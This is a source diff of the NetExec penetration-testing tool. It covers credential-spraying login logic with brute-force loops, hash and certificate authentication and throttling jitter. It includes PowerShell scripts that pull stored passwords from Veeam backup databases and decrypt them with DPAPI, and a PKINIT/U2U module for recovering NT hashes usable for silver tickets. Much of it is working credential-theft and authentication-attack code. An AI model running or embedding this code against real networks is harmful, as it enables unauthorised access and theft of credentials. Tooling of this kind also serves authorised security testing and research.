def proto_args(std_parser, module_parser):
@@ -138,22 +208,16 @@ class connection:
def create_conn_obj(self):
return
def disconnect(self):
return
def check_if_admin(self):
return
def kerberos_login(
self,
domain,
username,
password="",
ntlm_hash="",
aesKey="",
kdcHost="",
useCache=False,
):
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
return
def plaintext_login(self, domain, username, password):
def plaintext_login(self, username, password):
return
def hash_login(self, domain, username, ntlm_hash):
@@ -162,16 +226,21 @@ class connection:
def proto_flow(self):
self.logger.debug("Kicking off proto_flow")
self.proto_logger()
if self.create_conn_obj():
if not self.create_conn_obj():
self.logger.info(f"Failed to create connection object for target {self.host}, exiting...")
else:
self.logger.debug("Created connection object")
self.enum_host_info()
if self.print_host_info() and (self.login() or (self.username == "" and self.password == "")):
self.print_host_info()
if self.login() or (self.username == "" and self.password == ""):
if hasattr(self.args, "module") and self.args.module:
self.load_modules()
self.logger.debug("Calling modules")
self.call_modules()
else:
self.logger.debug("Calling command arguments")
self.call_cmd_args()
self.disconnect()
def call_cmd_args(self):
"""Calls all the methods specified by the command line arguments
@@ -200,7 +269,7 @@ class connection:
It iterates over the modules specified in the command line arguments.
For each module, it loads the module and creates a context object, then calls functions based on the module's attributes.
"""
for module in self.module:
for module in self.modules:
self.logger.debug(f"Loading module {module.name} - {module}")
module_logger = NXCAdapter(
extra={
@@ -317,7 +386,7 @@ class connection:
if isfile(user):
with open(user) as user_file:
for line in user_file:
if "\\" in line:
if "\\" in line and len(line.split("\\")) == 2:
domain_single, username_single = line.split("\\")
else:
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain
@@ -356,12 +425,22 @@ class connection:
for ntlm_hash in self.args.hash:
if isfile(ntlm_hash):
with open(ntlm_hash) as ntlm_hash_file:
for line in ntlm_hash_file:
secret.append(line.strip())
cred_type.append("hash")
for i, line in enumerate(ntlm_hash_file):
line = line.strip()
if len(line) != 32 and len(line) != 65:
self.logger.fail(f"Invalid NTLM hash length on line {(i + 1)} (len {len(line)}): {line}")
continue
else:
secret.append(line)
cred_type.append("hash")
else:
secret.append(ntlm_hash)
cred_type.append("hash")
if len(ntlm_hash) != 32 and len(ntlm_hash) != 65:
self.logger.fail(f"Invalid NTLM hash length {len(ntlm_hash)}, authentication not sent")
exit(1)
else:
secret.append(ntlm_hash)
cred_type.append("hash")
self.logger.debug(secret)
# Parse AES keys
if self.args.aesKey:
@@ -384,7 +463,9 @@ class connection:
return domain, username, owned, secret, cred_type, [None] * len(secret)
def try_credentials(self, domain, username, owned, secret, cred_type, data=None):
"""Try to login using the specified credentials and protocol.
"""
Try to login using the specified credentials and protocol.
With --jitter an authentication throttle can be applied.
Possible login methods are:
- plaintext (/kerberos)
@@ -395,11 +476,21 @@ class connection:
return False
if self.args.continue_on_success and owned:
return False
if hasattr(self.args, "delegate") and self.args.delegate:
self.args.kerberos = True
if self.args.jitter:
jitter = self.args.jitter
if "-" in jitter:
start, end = jitter.split("-")
jitter = (int(start), int(end))
else:
jitter = (0, int(jitter))
value = jitter[0] if jitter[0] == jitter[1] else random.choice(range(jitter[0], jitter[1]))
self.logger.debug(f"Throttle authentications: sleeping {value} second(s)")
sleep(value)
with sem:
if cred_type == "plaintext":
if self.args.kerberos:
if self.kerberos:
self.logger.debug("Trying to authenticate using Kerberos")
return self.kerberos_login(domain, username, secret, "", "", self.kdcHost, False)
elif hasattr(self.args, "domain"): # Some protocols don't use domain for login
@@ -412,7 +503,7 @@ class connection:
self.logger.debug("Trying to authenticate using plaintext")
return self.plaintext_login(username, secret)
elif cred_type == "hash":
if self.args.kerberos:
if self.kerberos:
return self.kerberos_login(domain, username, "", secret, "", self.kdcHost, False)
return self.hash_login(domain, username, secret)
elif cred_type == "aesKey":
@@ -459,6 +550,21 @@ class connection:
self.logger.info("Successfully authenticated using Kerberos cache")
return True
if self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert:
self.logger.debug("Trying to authenticate using Certificate pfx")
if not self.args.username:
self.logger.fail("You must specify a username when using certificate authentication")
return False
with sem:
return pfx_auth(self)
if hasattr(self.args, "laps") and self.args.laps:
self.logger.debug("Trying to authenticate using LAPS")
username[0], secret[0], domain[0] = laps_search(self, username, secret, cred_type, domain, self.dns_server)
cred_type = ["plaintext"]
if not (username[0] or secret[0] or domain[0]):
return False
if not self.args.no_bruteforce:
for secr_index, secr in enumerate(secret):
for user_index, user in enumerate(username):
@@ -478,3 +584,12 @@ class connection:
def mark_pwned(self):
return highlight(f"({pwned_label})" if self.admin_privs else "")
def load_modules(self):
self.logger.info(f"Loading modules for target: {self.host}")
loader = ModuleLoader(self.args, self.db, self.logger)
self.modules = []
for module_path in self.module_paths:
module = loader.init_module(module_path)
self.modules.append(module)
+1 -1
View File
@@ -13,7 +13,7 @@ bh_enabled = False
bh_uri = 127.0.0.1
bh_port = 7687
bh_user = neo4j
bh_pass = neo4j
bh_pass = bloodhoundcommunityedition
[Empire]
api_host = 127.0.0.1
@@ -1,9 +1,10 @@
$SqlDatabaseName = "REPLACE_ME_SqlDatabase"
$SqlServerName = "REPLACE_ME_SqlServer"
$SqlInstanceName = "REPLACE_ME_SqlInstance"
$b64Salt = "REPLACE_ME_b64Salt"
#Forming the connection string
$SQL = "SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
$SQL = "SELECT [user_name] AS 'User', [password] AS 'Password', [description] AS 'Description' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
$auth = "Integrated Security=SSPI;" #Local user
$connectionString = "Provider=sqloledb; Data Source=$SqlServerName\$SqlInstanceName; Initial Catalog=$SqlDatabaseName; $auth;"
$connection = New-Object System.Data.OleDb.OleDbConnection $connectionString
@@ -22,19 +23,46 @@ catch {
exit -1
}
$rows=($dataset.Tables | Select-Object -Expand Rows)
if ($rows.count -eq 0) {
$output=($dataset.Tables | Select-Object -Expand Rows)
if ($output.count -eq 0) {
Write-Host "No passwords found!"
exit
}
Add-Type -assembly System.Security
#Decrypting passwords using DPAPI
$rows | ForEach-Object -Process {
$EnryptedPWD = [Convert]::FromBase64String($_.password)
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
# Decrypting passwords using DPAPI
$output | ForEach-Object -Process {
$EncryptedPWD = [Convert]::FromBase64String($_.password)
$enc = [system.text.encoding]::Default
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
try {
# Decrypt password with DPAPI (old Veeam versions)
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
} catch {
try{
# Decrypt password with salted DPAPI (new Veeam versions)
$salt = [System.Convert]::FromBase64String($b64Salt)
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
foreach ($byte in $EncryptedPWD)
{
$hex.AppendFormat("{0:x2}", $byte) > $null
}
$hex = $hex.ToString().Substring(74,$hex.Length-74)
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
for ($i = 0; $i -lt $hex.Length; $i += 2)
{
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
}
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
}catch {
$pw_string = "COULD_NOT_DECRYPT"
}
}
$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
$_.password = $pw_string
$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
}
Write-Output $rows | Format-Table -HideTableHeaders | Out-String
Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000
@@ -1,8 +1,9 @@
$PostgreSqlExec = "REPLACE_ME_PostgreSqlExec"
$PostgresUserForWindowsAuth = "REPLACE_ME_PostgresUserForWindowsAuth"
$SqlDatabaseName = "REPLACE_ME_SqlDatabaseName"
$b64Salt = "REPLACE_ME_b64Salt"
$SQLStatement = "SELECT user_name AS User,password AS Password FROM credentials WHERE password != '';"
$SQLStatement = "SELECT user_name AS User, password AS Password, description AS Description FROM credentials WHERE password != '';"
$output = . $PostgreSqlExec -U $PostgresUserForWindowsAuth -w -d $SqlDatabaseName -c $SQLStatement --csv | ConvertFrom-Csv
if ($output.count -eq 0) {
@@ -10,13 +11,40 @@ if ($output.count -eq 0) {
exit
}
# Decrypting passwords using DPAPI
Add-Type -assembly System.Security
#Decrypting passwords using DPAPI
$output | ForEach-Object -Process {
$EnryptedPWD = [Convert]::FromBase64String($_.password)
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
$EncryptedPWD = [Convert]::FromBase64String($_.password)
$enc = [system.text.encoding]::Default
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
try {
# Decrypt password with DPAPI (old Veeam versions)
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
} catch {
try{
# Decrypt password with salted DPAPI (new Veeam versions)
$salt = [System.Convert]::FromBase64String($b64Salt)
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
foreach ($byte in $EncryptedPWD)
{
$hex.AppendFormat("{0:x2}", $byte) > $null
}
$hex = $hex.ToString().Substring(74,$hex.Length-74)
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
for ($i = 0; $i -lt $hex.Length; $i += 2)
{
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
}
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
}catch {
$pw_string = "COULD_NOT_DECRYPT"
}
}
$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
$_.password = $pw_string
$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
}
Write-Output $output | Format-Table -HideTableHeaders | Out-String
Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000
+177
View File
@@ -0,0 +1,177 @@
import configparser
import ipaddress
import shutil
import sys
from os import mkdir
from os.path import exists
from os.path import join as path_join
from pathlib import Path
from sqlite3 import connect
from threading import Lock
from sqlalchemy import create_engine, MetaData, func
from sqlalchemy.exc import IllegalStateChangeError
from sqlalchemy.orm import sessionmaker, scoped_session
from nxc.loaders.protocolloader import ProtocolLoader
from nxc.logger import nxc_logger
from nxc.paths import WORKSPACE_DIR
def create_db_engine(db_path):
return create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
def open_config(config_path):
try:
config = configparser.ConfigParser()
config.read(config_path)
except Exception as e:
print(f"[-] Error reading nxc.conf: {e}")
sys.exit(1)
return config
def get_workspace(config):
return config.get("nxc", "workspace")
def set_workspace(config_path, workspace_name):
config = open_config(config_path)
config.set("nxc", "workspace", workspace_name)
write_configfile(config, config_path)
print(f"[*] Workspace set to {workspace_name}")
def get_db(config):
return config.get("nxc", "last_used_db")
def write_configfile(config, config_path):
with open(config_path, "w") as configfile:
config.write(configfile)
def init_protocol_dbs(workspace_name, p_loader=None):
"""Check for each protocol if the database exists, if not create it."""
if p_loader is None:
p_loader = ProtocolLoader()
protocols = p_loader.get_protocols()
for protocol in protocols:
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
proto_db_path = path_join(WORKSPACE_DIR, workspace_name, f"{protocol}.db")
if not exists(proto_db_path):
print(f"[*] Initializing {protocol.upper()} protocol database")
conn = connect(proto_db_path)
c = conn.cursor()
# try to prevent some weird sqlite I/O errors
c.execute("PRAGMA journal_mode = OFF")
c.execute("PRAGMA foreign_keys = 1")
protocol_object.database.db_schema(c)
# commit the changes and close everything off
conn.commit()
conn.close()
def create_workspace(workspace_name, p_loader=None):
"""
Create a new workspace with the given name.
Args:
----
workspace_name (str): The name of the workspace.
Returns:
-------
None
"""
if exists(path_join(WORKSPACE_DIR, workspace_name)):
print(f"[-] Workspace {workspace_name} already exists")
else:
print(f"[*] Creating {workspace_name} workspace")
mkdir(path_join(WORKSPACE_DIR, workspace_name))
init_protocol_dbs(workspace_name, p_loader)
def delete_workspace(workspace_name):
shutil.rmtree(path_join(WORKSPACE_DIR, workspace_name))
print(f"[*] Workspace {workspace_name} deleted")
def initialize_db():
if not exists(path_join(WORKSPACE_DIR, "default")):
create_workspace("default")
# Even if the default workspace exists, we still need to check if every protocol has a database (in case of a new protocol)
init_protocol_dbs("default")
def format_host_query(q, filter_term, HostsTable):
"""One annoying thing is that if you search for an ip such as '10.10.10.5',
it will return 10.10.10.5 and 10.10.10.52, so we have to check if its an ip address first
"""
# the FTP and SSH protocols call the column host instead of IP
# TODO: normalize these column names
if hasattr(HostsTable.c, "ip"):
ip_column = HostsTable.c.ip
nxc_logger.debug("Using 'ip' column for filtering")
elif hasattr(HostsTable.c, "host"):
ip_column = HostsTable.c.host
nxc_logger.debug("Using 'host' column for filtering")
else:
nxc_logger.debug("Neither 'ip' nor 'host' columns found in the table")
return q
# first we check if its an ip address
try:
ipaddress.ip_address(filter_term)
nxc_logger.debug(f"filter_term is an IP address: {filter_term}")
q = q.filter(ip_column == filter_term)
except ValueError:
nxc_logger.debug(f"filter_term is not an IP address: {filter_term}")
like_term = func.lower(f"%{filter_term}%")
# check if the hostname column exists for hostname searching
q = q.filter(ip_column.like(like_term) | func.lower(HostsTable.c.hostname).like(like_term)) if hasattr(HostsTable.c, "hostname") else q.filter(ip_column.like(like_term))
return q
class BaseDB:
def __init__(self, db_engine):
self.db_engine = db_engine
self.db_path = self.db_engine.url.database
self.protocol = Path(self.db_path).stem.upper()
self.metadata = MetaData()
self.reflect_tables()
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
session = scoped_session(session_factory)
self.sess = session()
self.lock = Lock()
def reflect_tables(self):
raise NotImplementedError("Reflect tables not implemented")
def shutdown_db(self):
try:
self.sess.close()
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except IllegalStateChangeError as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
for table in self.metadata.sorted_tables:
self.db_execute(table.delete())
def db_execute(self, *args):
self.lock.acquire()
res = self.sess.execute(*args)
self.lock.release()
return res
+13 -2
View File
@@ -3,7 +3,7 @@ from os.path import exists
from os.path import join as path_join
import shutil
from nxc.paths import NXC_PATH, CONFIG_PATH, TMP_PATH, DATA_PATH
from nxc.nxcdb import initialize_db
from nxc.database import initialize_db
from nxc.logger import nxc_logger
@@ -29,7 +29,18 @@ def first_run_setup(logger=nxc_logger):
logger.display(f"Creating missing folder {folder}")
mkdir(path_join(NXC_PATH, folder))
initialize_db(logger)
log_subfolders = (
"sam",
"lsa",
"ntds",
"dpapi",
)
for subfolder in log_subfolders:
if not exists(path_join(NXC_PATH, f"logs/{subfolder}")):
logger.display(f"Creating missing folder logs/{subfolder}")
mkdir(path_join(NXC_PATH, f"logs/{subfolder}"))
initialize_db()
if not exists(CONFIG_PATH):
logger.display("Copying default configuration file")
+25
View File
@@ -0,0 +1,25 @@
from argparse import ArgumentDefaultsHelpFormatter, SUPPRESS, OPTIONAL, ZERO_OR_MORE
from argparse import Action
class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter):
def _get_help_string(self, action):
help_string = action.help
if "%(default)" not in action.help and action.default is not SUPPRESS:
defaulting_nargs = [OPTIONAL, ZERO_OR_MORE]
if (action.option_strings or action.nargs in defaulting_nargs) and action.default: # Only add default info if it's not None
help_string += " (default: %(default)s)" # NORUFF
return help_string
class DefaultTrackingAction(Action):
def __init__(self, option_strings, dest, default=None, required=False, **kwargs):
# Store the default value to check later
self.default_value = default
super().__init__(
option_strings, dest, default=default, required=required, **kwargs
)
def __call__(self, parser, namespace, values, option_string=None):
# Set an attribute to track whether the value was explicitly set
setattr(namespace, self.dest, values)
setattr(namespace, f"{self.dest}_explicitly_set", True)
+2 -4
View File
@@ -52,14 +52,12 @@ def add_user_bh(user, domain, logger, config):
_add_with_domain(user_info, domain, tx, logger)
except AuthError:
logger.fail(f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid.")
return
except ServiceUnavailable:
logger.fail(f"Neo4J does not seem to be available on {uri}.")
return
except Exception as e:
logger.fail(f"Unexpected error with Neo4J: {e}")
return
driver.close()
finally:
driver.close()
def _add_with_domain(user_info, domain, tx, logger):
+34
View File
@@ -0,0 +1,34 @@
# Original from here: https://github.com/fortra/impacket/blob/master/examples/DumpNTLMInfo.py#L568
import struct
from impacket import ntlm
from impacket.smb3 import WIN_VERSIONS
import contextlib
def parse_challenge(challange):
target_info = {
"hostname": None,
"domain": None,
"os_version": None
}
challange = ntlm.NTLMAuthChallenge(challange)
av_pairs = ntlm.AV_PAIRS(challange["TargetInfoFields"][:challange["TargetInfoFields_len"]])
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
with contextlib.suppress(Exception):
target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
with contextlib.suppress(Exception):
target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
if "Version" in challange.fields:
version = challange["Version"]
if len(version) >= 4:
major_version = version[0]
minor_version = version[1]
product_build = struct.unpack("<H", version[2:4])[0]
if product_build in WIN_VERSIONS:
target_info["os_version"] = f"{WIN_VERSIONS[product_build]} Build {product_build}"
else:
target_info["os_version"] = f"{major_version}.{minor_version} Build {product_build}"
return target_info
+538
View File
@@ -0,0 +1,538 @@
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author:
# Alberto Solino (@agsolino)
# Dirk-jan Mollema (@_dirkjan)
#
# Description:
# This script will use an existing TGT to request a PAC for the current user using U2U.
# When the TGT was obtained using PKINIT, the resulting PAC will contain the NT hash which can be
# used for silver tickets and for backwards compatibility with other tooling.
#
# References:
#
# U2U: https://tools.ietf.org/html/draft-ietf-cat-user2user-02
#
# Based on examples from minikerberos by skelsec
# Parts of this code was inspired by the following project by @rubin_mor
# https://github.com/morRubin/AzureADJoinedMachinePTC
#
# Author:
# Tamas Jos (@skelsec)
# Dirk-jan Mollema (@_dirkjan)
#
import os
import secrets
import hashlib
import datetime
import logging
import random
import base64
from binascii import unhexlify, hexlify
from oscrypto.keys import parse_pkcs12, parse_certificate, parse_private
from oscrypto.asymmetric import rsa_pkcs1v15_sign, load_private_key
from asn1crypto import cms
from asn1crypto import algos
from asn1crypto import core
from asn1crypto import keys
from minikerberos.pkinit import PKINIT, DirtyDH
from minikerberos.protocol.constants import NAME_TYPE, PaDataType
from minikerberos.protocol.encryption import Enctype, _enctype_table, Key
from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, \
PA_PAC_REQUEST
from minikerberos.protocol.rfc4556 import PKAuthenticator, AuthPack, PA_PK_AS_REP, KDCDHKeyInfo, PA_PK_AS_REQ
from pyasn1.codec.der import decoder, encoder
from pyasn1.type.univ import noValue
from impacket.dcerpc.v5.rpcrt import TypeSerialization1
from impacket.krb5 import constants
from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1
from impacket.krb5.kerberosv5 import sendReceive
from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, PAC_CREDENTIAL_INFO, \
PAC_CREDENTIAL_DATA, NTLM_SUPPLEMENTAL_CREDENTIAL
from impacket.krb5.types import Principal, KerberosTime, Ticket
# Imports for pfx_auth
from minikerberos.network.clientsocket import KerberosClientSocket
from minikerberos.common.target import KerberosTarget
from minikerberos.common.ccache import CCACHE
from impacket.krb5.ccache import CCache as impacket_CCache
from nxc.paths import NXC_PATH
class myPKINIT(PKINIT):
"""
Copy of minikerberos PKINIT
With some changes where it differs from PKINIT used in NegoEx
"""
@staticmethod
def from_pfx(pfxfile, pfxpass, dh_params=None, b64=False):
with open(pfxfile, "rb") as f:
pfxdata = f.read()
if b64:
pfxdata = base64.b64decode(pfxdata)
return myPKINIT.from_pfx_data(pfxdata, pfxpass, dh_params)
@staticmethod
def from_pfx_data(pfxdata, pfxpass, dh_params=None):
pkinit = myPKINIT()
# oscrypto does not seem to support pfx without password, so convert it to PEM using cryptography instead
if not pfxpass:
from cryptography.hazmat.primitives.serialization import pkcs12
from cryptography.hazmat.primitives import serialization
privkey, cert, extra_certs = pkcs12.load_key_and_certificates(pfxdata, None)
pem_key = privkey.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption(),
)
pkinit.privkey = load_private_key(parse_private(pem_key))
pem_cert = cert.public_bytes(
encoding=serialization.Encoding.PEM
)
pkinit.certificate = parse_certificate(pem_cert)
else:
if isinstance(pfxpass, str):
pfxpass = pfxpass.encode()
pkinit.privkeyinfo, pkinit.certificate, pkinit.extra_certs = parse_pkcs12(pfxdata, password=pfxpass)
pkinit.privkey = load_private_key(pkinit.privkeyinfo)
pkinit.setup(dh_params=dh_params)
return pkinit
@staticmethod
def from_pem(certfile, privkeyfile, dh_params=None):
pkinit = myPKINIT()
with open(certfile, "rb") as f:
pkinit.certificate = parse_certificate(f.read())
with open(privkeyfile, "rb") as f:
pkinit.privkey = load_private_key(parse_private(f.read()))
pkinit.setup(dh_params=dh_params)
return pkinit
def sign_authpack(self, data, wrap_signed=False):
return self.sign_authpack_native(data, wrap_signed)
def setup(self, dh_params=None):
self.issuer = self.certificate.issuer.native["common_name"]
if dh_params is None:
print("Generating DH params...")
print("DH params generated.")
else:
if isinstance(dh_params, dict):
self.diffie = DirtyDH.from_dict(dh_params)
elif isinstance(dh_params, bytes):
self.diffie = DirtyDH.from_asn1(dh_params)
elif isinstance(dh_params, DirtyDH):
self.diffie = dh_params
else:
raise Exception("DH params must be either a bytearray or a dict")
def build_asreq(self, domain=None, cname=None, kdcopts=None):
if kdcopts is None:
kdcopts = ["forwardable", "renewable", "renewable-ok"]
if isinstance(kdcopts, list):
kdcopts = set(kdcopts)
if cname is not None:
if isinstance(cname, str):
cname = [cname]
else:
cname = [self.cname]
now = datetime.datetime.now(datetime.timezone.utc)
kdc_req_body_data = {}
kdc_req_body_data["kdc-options"] = KDCOptions(kdcopts)
kdc_req_body_data["cname"] = PrincipalName({"name-type": NAME_TYPE.PRINCIPAL.value, "name-string": cname})
kdc_req_body_data["realm"] = domain.upper()
kdc_req_body_data["sname"] = PrincipalName({"name-type": NAME_TYPE.SRV_INST.value, "name-string": ["krbtgt", domain.upper()]})
kdc_req_body_data["till"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
kdc_req_body_data["rtime"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
kdc_req_body_data["nonce"] = secrets.randbits(31)
kdc_req_body_data["etype"] = [18, 17] # 23 breaks...
kdc_req_body = KDC_REQ_BODY(kdc_req_body_data)
checksum = hashlib.sha1(kdc_req_body.dump()).digest()
authenticator = {}
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = now.replace(microsecond=0)
authenticator["nonce"] = secrets.randbits(31)
authenticator["paChecksum"] = checksum
dp = {}
dp["p"] = self.diffie.p
dp["g"] = self.diffie.g
dp["q"] = 0 # mandatory parameter, but it is not needed
pka = {}
pka["algorithm"] = "1.2.840.10046.2.1"
pka["parameters"] = keys.DomainParameters(dp)
spki = {}
spki["algorithm"] = keys.PublicKeyAlgorithm(pka)
spki["public_key"] = self.diffie.get_public_key()
authpack = {}
authpack["pkAuthenticator"] = PKAuthenticator(authenticator)
authpack["clientPublicValue"] = keys.PublicKeyInfo(spki)
authpack["clientDHNonce"] = self.diffie.dh_nonce
authpack = AuthPack(authpack)
signed_authpack = self.sign_authpack(authpack.dump(), wrap_signed=True)
payload = PA_PK_AS_REQ()
payload["signedAuthPack"] = signed_authpack
pa_data_1 = {}
pa_data_1["padata-type"] = PaDataType.PK_AS_REQ.value
pa_data_1["padata-value"] = payload.dump()
pa_data_0 = {}
pa_data_0["padata-type"] = int(PADATA_TYPE("PA-PAC-REQUEST"))
pa_data_0["padata-value"] = PA_PAC_REQUEST({"include-pac": True}).dump()
asreq = {}
asreq["pvno"] = 5
asreq["msg-type"] = 10
asreq["padata"] = [pa_data_0, pa_data_1]
asreq["req-body"] = kdc_req_body
return AS_REQ(asreq).dump()
def sign_authpack_native(self, data, wrap_signed=False):
"""
Creating PKCS7 blob which contains the following things:
1. 'data' blob which is an ASN1 encoded "AuthPack" structure
2. the certificate used to sign the data blob
3. the singed 'signed_attrs' structure (ASN1) which points to the "data" structure (in point 1)
"""
da = {}
da["algorithm"] = algos.DigestAlgorithmId("1.3.14.3.2.26") # for sha1
si = {}
si["version"] = "v1"
si["sid"] = cms.IssuerAndSerialNumber({
"issuer": self.certificate.issuer,
"serial_number": self.certificate.serial_number,
})
si["digest_algorithm"] = algos.DigestAlgorithm(da)
si["signed_attrs"] = [
cms.CMSAttribute({"type": "content_type", "values": ["1.3.6.1.5.2.3.1"]}), # indicates that the encap_content_info's authdata struct (marked with OID '1.3.6.1.5.2.3.1' is signed )
cms.CMSAttribute({"type": "message_digest", "values": [hashlib.sha1(data).digest()]}), # hash of the data, the data itself will not be signed, but this block of data will be.
]
si["signature_algorithm"] = algos.SignedDigestAlgorithm({"algorithm": "1.2.840.113549.1.1.1"})
si["signature"] = rsa_pkcs1v15_sign(self.privkey, cms.CMSAttributes(si["signed_attrs"]).dump(), "sha1")
ec = {}
ec["content_type"] = "1.3.6.1.5.2.3.1"
ec["content"] = data
sd = {}
sd["version"] = "v3"
sd["digest_algorithms"] = [algos.DigestAlgorithm(da)] # must have only one
sd["encap_content_info"] = cms.EncapsulatedContentInfo(ec)
sd["certificates"] = [self.certificate]
sd["signer_infos"] = cms.SignerInfos([cms.SignerInfo(si)])
if wrap_signed is True:
ci = {}
ci["content_type"] = "1.2.840.113549.1.7.2" # signed data OID
ci["content"] = cms.SignedData(sd)
return cms.ContentInfo(ci).dump()
return cms.SignedData(sd).dump()
def decrypt_asrep(self, as_rep):
def truncate_key(value, keysize):
output = b""
currentNum = 0
while len(output) < keysize:
currentDigest = hashlib.sha1(bytes([currentNum]) + value).digest()
if len(output) + len(currentDigest) > keysize:
output += currentDigest[:keysize - len(output)]
break
output += currentDigest
currentNum += 1
return output
for pa in as_rep["padata"]:
if pa["padata-type"] == 17:
pkasrep = PA_PK_AS_REP.load(pa["padata-value"]).native
break
else:
raise Exception("PA_PK_AS_REP not found!")
ci = cms.ContentInfo.load(pkasrep["dhSignedData"]).native
sd = ci["content"]
keyinfo = sd["encap_content_info"]
if keyinfo["content_type"] != "1.3.6.1.5.2.3.2":
raise Exception("Keyinfo content type unexpected value")
authdata = KDCDHKeyInfo.load(keyinfo["content"]).native
pubkey = int("".join(["1"] + [str(x) for x in authdata["subjectPublicKey"]]), 2)
pubkey = int.from_bytes(core.BitString(authdata["subjectPublicKey"]).dump()[7:], "big", signed=False)
shared_key = self.diffie.exchange(pubkey)
server_nonce = pkasrep["serverDHNonce"]
fullKey = shared_key + self.diffie.dh_nonce + server_nonce
etype = as_rep["enc-part"]["etype"]
cipher = _enctype_table[etype]
if etype == Enctype.AES256:
t_key = truncate_key(fullKey, 32)
elif etype == Enctype.AES128:
t_key = truncate_key(fullKey, 16)
elif etype == Enctype.RC4:
raise NotImplementedError("RC4 key truncation documentation missing. it is different from AES")
key = Key(cipher.enctype, t_key)
enc_data = as_rep["enc-part"]["cipher"]
logging.info("AS-REP encryption key (you might need this later):")
logging.info(hexlify(t_key).decode("utf-8"))
dec_data = cipher.decrypt(key, 3, enc_data)
encasrep = EncASRepPart.load(dec_data).native
cipher = _enctype_table[int(encasrep["key"]["keytype"])]
session_key = Key(cipher.enctype, encasrep["key"]["keyvalue"])
return encasrep, session_key, cipher, hexlify(t_key).decode("utf-8")
class GETPAC:
def printPac(self, data, key=None):
nthash = None
encTicketPart = decoder.decode(data, asn1Spec=EncTicketPart())[0]
adIfRelevant = decoder.decode(encTicketPart["authorization-data"][0]["ad-data"], asn1Spec=AD_IF_RELEVANT())[
0]
# So here we have the PAC
pacType = PACTYPE(adIfRelevant[0]["ad-data"].asOctets())
buff = pacType["Buffers"]
found = False
for _bufferN in range(pacType["cBuffers"]):
infoBuffer = PAC_INFO_BUFFER(buff)
data = pacType["Buffers"][infoBuffer["Offset"] - 8:][:infoBuffer["cbBufferSize"]]
if logging.getLogger().level == logging.DEBUG:
print("TYPE 0x%x" % infoBuffer["ulType"])
if infoBuffer["ulType"] == 2:
found = True
credinfo = PAC_CREDENTIAL_INFO(data)
